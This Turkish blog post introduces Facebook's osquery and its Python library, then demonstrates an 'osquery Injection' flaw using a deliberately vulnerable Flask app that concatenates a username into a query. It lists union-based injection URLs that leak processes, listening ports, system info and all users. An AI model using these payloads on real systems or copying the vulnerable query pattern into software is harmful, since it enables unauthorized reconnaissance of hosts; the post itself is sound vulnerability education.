osquery Injection
osquery, Facebook tarafından geliştirilen, işletim sistemi üzerinde SQL syntax'ı ile komut çalıştırmaya yarayan bir araç. Şu an en güncel sürümü 2.11.2 ve macOS, CentOS, Ubuntu ve Windows gibi popüler işletim sistemi ve dağıtımları destekliyor. osquery, syntax olarak SQL benzeri bir yapıda olduğundan tıpkı SQL dilini kullanan veri tabanları gibi tabloları kullanıyor. osquery kurulduğu vakit bir takım ön tanımlı tablolar ile birlikte geliyor. Tabii ki sonrasında ek tablolar eklenebiliyor. Bu blogpostta ise osquery'de açıpa çıkan "osquery Injection" zafiyetinden bahsediyoruz.
osquery Nedir?
osquery, Facebook tarafından geliştirilen, işletim sistemi üzerinde SQL syntax'ı ile komut çalıştırmaya yarayan bir araç. Şu an en güncel sürümü 2.11.2 ve macOS, CentOS, Ubuntu ve Windows gibi popüler işletim sistemi ve dağıtımları destekliyor.
osquery, syntax olarak SQL benzeri bir yapıda olduğundan tıpkı SQL dilini kullanan veri tabanları gibi tabloları kullanıyor. osquery kurulduğu vakit bir takım ön tanımlı tablolar ile birlikte geliyor. Tabii ki sonrasında ek tablolar eklenebiliyor
Ön tanımlı gelen tabloların listesine şuradan erişebilirsiniz: https://osquery.io/schema/2.11.2
Kurulum
Kurulum için öncelikle osquery reposunu eklememiz gerekiyor.
$ sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 1484120AC4E9F8A1A577AEEE97A80C63C9D8B80B
$ sudo add-apt-repository "deb [arch=amd64] https://osquery-packages.s3.amazonaws.com/xenial xenial main"
Ardından repoları güncelleyip, osquery'i kuruyoruz.
$ sudo apt-get update
$ sudo apt-get install osquery
Kurulum işlemi sonrası 3 farklı osquery komponenti kurulmuş olacak.
- osqueryi: Terminal üzerinden osquery sorguları çalıştırmanıza yarayan interaktif kabuk.
- osqueryd: Arkaplanda yürütülen zamanlanmış veya çalışan sorgular için deamon.
- osqueryctl: Osquery'nin yayınlanmasını veya yapılandırmasını sınamak için bir yardımcı komut dosyası.
Örnek Kullanımlar
Sistemdeki tüm kullanıcıları listelemek
SELECT * FROM users;
Process'in adını, portunu ve PID'sini listelemek
SELECT DISTINCT processes.name, listening_ports.port, processes.pid FROM listening_ports JOIN processes USING (pid);
Sisteme giriş yapmış kullanıcılar
SELECT * FROM logged_in_users;
osquery Python
Facebook, osquery Python üzerinden de kullanılabilsin diye osquery-python kütüphanesini yayınladı. Diğer diller için kütüphaneleri ise yakın zamanda yayınlamayı planlıyor. Kütüphane ne yazık ki sadece Python3 ile çalışıyor. Python2.7 ile çalışmıyor. O yüzden projenize pip3 ile dahil edip, Python3 ile çalıştırmalısınız.
osquery'yi Python içerisinde kullanmak oldukça basit. Zira paket pip3'te mevcut. Aşağıdaki komut ile projenize dahil edip kullanmaya başlayabiliyorsunuz.
$ pip3 install osquery
Örnek kullanımı şu şekildedir:
import osquery
if __name__ == "__main__":
instance = osquery.SpawnInstance()
instance.open()
result = instance.client.query("select timestamp from time")
print(result)
osquery Injection
osquery Injection, tıpkı SQL Injection veya Memcache Injection gibi kütüphanenin kötüye kullanılmasından ortaya çıkan bir zafiyettir. osquery'nin kendinde Prepared Statement desteği olmadığından Facebook tarafından yayınlanan resmi Python kütüphanesinde de Prepared Statement desteği yok. Dolayısı ile sorgunun herhangi bir kısmına kullanıcıdan alınan bir girdi yerleştirilmek zorunda kalındığında saldırgan tarafından zafiyet sömürülüp, farklı sorgular çalıştırılabiliyor.
Bunun için aşağıdaki gibi örnek bir kod yazdım.
from flask import Flask, request
app = Flask(__name__)
import osquery
@app.route("/")
def prod():
name = request.values.get('username')
instance = osquery.SpawnInstance()
instance.open()
result = instance.client.query("select username, description from users where username='"+name+"'")
status = result.status
results = result.response
output = str(status)+"<br>"
output += "<table border='1'>"
output += "<tr><td>username</td><td>description</td></tr>"
for user in results:
output += "<tr><td>"+user['username']+"</td><td>"+user['description']+"</td></tr>"
output += "</table>"
return str(output)
if __name__ == "__main__":
app.run(host='0.0.0.0', port=35275, debug=False)
Yukarıdaki kod çok basitçe GET metodundan aldığı kullanıcı adını sorguya dahil ederek o kullanıcı hakkında bir takım bilgiler veriyor.
Kod üzerinde birazdan anlatacağımız testleri gerçekleştirmek için kodu aşağıdaki gibi Docker üzerinden ayağa kaldırabilirsiniz.
$ git clone https://github.com/Om3rCitak/osquery-injection.git
$ cd osquery-injection/
$ docker-compose u
Bu işlemlerden sonra kodunuz çalışıyor olacak. Aşağıdaki adresten ayağa kaldırdığınız uygulamaya erişebilirsiniz.
http://{docker_ip_adress}:35275/?username=systemd-network
Kodumuzda kullanıcıdan aldığımız girdiyi şu şekilde sorguya dahil ediyorduk:
select username, description from users where username='"+name+"'
Yani aşağıdaki gibi bir istek gönderir isek sorgumuz aşağıdaki gibi değişecek ve sonuç olarak "systemd-network" kullanıcısına ait detayları getirecek.
URL: http://192.168.192.128:35275/?username=systemd-network
Sorgu: select username, description from users where username='systemd-network'
Bu kod zafiyet içeriyor. Bir şekilde bu sorgunun dışına çıkıp, diğer tablolardan istediğimiz bilgileri çekmeliyiz. Bunun için şunlara ihtiyacımız var;
- Sorgu içerisinde çekilen kolon sayısı
- Tablo adları
Kolon sayısına "union based" atak yapacağımızdan ihtiyacımız var. Zira osquery içerisinde UNION ile birden fazla tablodan veri çekebiliyoruz. Tek koşul, UNION ile birleştireceğimiz her 2 sorgunun da kolon sayılarının eşit olması.
1. Kolon Sayısı
SQL'de olduğu gibi osquery'de de "ORDER BY" parametresi mevcut. "ORDER BY" ile belirttiğimiz kolon adı ve sıralama tipine göre çıktı sonuçlarını sıralar.
Tıpkı SQL Injection'da olduğu gibi osquery Injection'da da kolon sayısını "ORDER BY" ile tespit edebiliyoruz.
SQL Injection'da kolon sayısını binary search ile tespit etmek zorunda kalıyorduk. Zira kolon sayısını doğrudan öğrenemiyor, sadece gönderdiğimiz değerin küçük mü büyük mü olduğunu görebiliyor idik. osquery'de ise durum tam tersi. Kolon sayısından büyük bir değer gönderdiğimiz vakit doğrudan bize kaç kolon olduğunu veriyor. Böylelikle binary search'e ihtiyaç duymuyoruz.
http://192.168.192.128:35275/?username=systemd-network' ORDER BY 999 --
Yukarıdaki görselde göründüğü üzere "ORDER BY" için "999" değerini gönderdik ve bize şu şekilde bir daha mesajı gösterildi: "Error running query: 1st ORDER BY term out of range - should be between 1 and 2"
Göndermemiz gereken ORDER BY değerinin 1 ile 2 arasında olması gerektiğini söylüyor. Bu hata mesajından kolon sayımızın 2 olduğunu anlıyoruz.
Yukarıdaki sorguda ve sonraki sorgularda sorgu sonunda yazdığımız "--" ise tek yorum satırı karakteridir. Sorgumuzu düzenledikten sonra sorgu sonunda kalacak olan tek tırnak karakterini sorgumuzun syntaxını bozmasın diye yorum satırı içerisini dahil etmemiz gerekiyor.
http://192.168.192.128:35275/?username=systemd-network' union select 1,2 from processes --
Yukarıdaki görsel ise her 2 kolonun çıktı olarak nerelere basıldıklarını görüyoruz.
2. Tablo Adları
Tablo adlarını bulmak ilk adıma göre çok daha kolay. Zira zaten ön tanımlı olarak gelen tablolar şu adreste yer alıyor: https://osquery.io/schema/2.11.2
Sonradan eklenmiş custom tabloları öğrenmek için ne yazık ki bir yol yok. MySQL'de tablo isimleri "information_schema" veri tabanında tutulduğundan "information_schema" üzerinden tablo isimlerine ulaşabiliyorduk. osquery'de tablo isimlerinin tutulduğu ayrı bir yapı yok.
Diğer Tablolardaki Verilere Ulaşmak
osquery'nin üzerinde çalıştığı işletim sistemini ve versiyonunu öğrenmek için şu şekilde bir sorgu gönderiyoruz:
http://192.168.192.128:35275/?username=systemd-network' union select build_platform,version from osquery_info --
Sistemde çalışan tüm processleri öğrenmek için şu şekilde bir sorgu gönderiyoruz:
http://192.168.192.128:35275/?username=systemd-network' union select cmdline,path from processes --
Dinlenen portları ve portları dinleyen servislerin PID'lerini öğrenmek için şu şekilde bir sorgu gönderiyoruz:
http://192.168.192.128:35275/?username=systemd-network' union select pid,port from listening_ports --
Sistemdeki tüm kullanıcıları öğrenmek için şu şekilde bir sorgu gönderebiliriz:
http://192.168.192.128:35275/?username=systemd-network’ union select username,description from users --
http://192.168.192.128:35275/?username=systemd-network' union select username,description from users --
Ancak sorgumuz hali hazırda "users" tablosu içerisinde olduğundan daha kısa bir yol ile şu şekilde de sistemdeki tüm kullanıcılara ulaşabiliyoruz:
http://192.168.192.128:35275/?username=systemd-network' or 1=1 --